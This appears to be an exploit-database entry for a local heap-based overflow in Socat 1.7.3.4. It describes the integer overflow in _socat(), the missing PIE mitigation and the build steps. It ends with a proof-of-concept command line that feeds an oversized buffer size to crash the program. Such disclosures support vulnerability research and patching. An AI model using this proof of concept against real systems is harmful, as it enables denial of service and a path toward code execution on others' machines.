Exploits / Vulnerability Discovered : 2020-02-05 |
Type : local |
Platform : linux
This exploit / vulnerability Socat 1.7.3.4 heapbased overflow (poc) is for educational purposes only and if it is used you will do on your own risk!
# Heap-Based Overflow due to Integer Overflow and Lack of PIE mitigation (PoC)
------- [***Description***] -------
The source code of socat.c contains _socat() function which has the
Integer Overflow vulnerability:
int _socat(void) {
...
unsigned char *buff;
...
buff = Malloc(2*socat_opts.bufsiz+1)
...
}
After that, the the line of code "if ((bytes2 = xiotransfer(sock2,
sock1, &buff, socat_opts.bufsiz, true)) < 0) {" calls the
xiotransfer() function. The xiotransfer() function calls xioread()
function. Finally xioread() function calls Read() function.
...
Read(pipe->fd, buff, bufsiz); //[***!!!This line of code leads to
Heap-Based Overflow vulnerability***!!!]
...
}
In addition, the "Makefile" file does not turn on the Position
Independent Executables (PIE) mitigation (the CFLAGS does not contains
"-pie" flag). By default, Ubuntu 16.04 does not turn on this
mitigation. Consequently, it is easier to exploit the program, may
even lead to Remode Code Execution (RCE).
Reference: https://hackerone.com/reports/415272, $100 bounty for Linux
Desktop application slack executable does not use pie / no ASLR
------- [***Download and build***] -------
Download link: http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz
$ tar xzvf socat-1.7.3.4.tar.gz
$ cd socat-1.7.3.4/
$ ./configure
Modify "Makefile" file: "CFLAGS = -g -O -D_GNU_SOURCE -Wall
-Wno-parentheses $(CCOPTS) $(DEFS) $(CPPFLAGS)" (add "-g" flag for
debugging purpose)
$ make
$ sudo make install
------- [***Proof of Concept***] -------
$ checksec socat
[*] '/home/natsu/temp/socat-1.7.3.4/socat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
>>> There is no PIE mitigation!
$ python -c 'print "A"*1000000' > a
$ touch b
$ socat -b9223372036854775888 OPEN:a,readbytes=1000000 OPEN:b,readbytes=1000000